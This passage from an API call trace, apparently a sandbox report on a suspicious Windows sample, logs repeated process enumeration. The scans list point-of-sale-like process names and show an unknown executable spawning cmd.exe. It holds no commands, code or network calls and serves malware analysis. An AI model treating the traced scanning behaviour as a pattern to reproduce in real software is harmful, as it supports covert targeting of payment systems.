th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0096.304] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0096.305] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0096.306] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0096.307] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0096.308] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0096.309] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0096.310] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0096.311] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0096.312] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0096.313] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0096.313] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0096.314] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.315] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.316] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.317] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0096.318] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.318] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0096.319] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0096.320] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0096.321] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.322] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.326] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.327] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0096.328] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0096.329] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0096.330] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0096.330] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.333] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0096.333] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0096.334] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0096.335] CloseHandle (hObject=0x32c) returned 1 [0096.335] Sleep (dwMilliseconds=0x1f4) [0097.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0097.319] Process32FirstW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.321] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.321] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.322] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.324] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.325] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.325] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.326] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.326] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.327] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.328] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0097.328] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0097.329] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.330] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.331] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.332] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.332] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.333] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.334] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.334] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.336] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.336] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.337] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.337] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.338] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.339] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.339] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.340] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.341] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.341] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.342] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.342] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0097.343] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0097.344] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0097.344] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0097.345] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0097.346] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0097.346] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.347] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0097.348] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0097.348] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0097.349] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0097.349] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0097.350] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0097.351] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0097.351] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0097.352] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0097.353] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0097.708] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0097.709] Process32NextW (in: hSnapshot=0x31c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0097.709] Process32NextW (in: 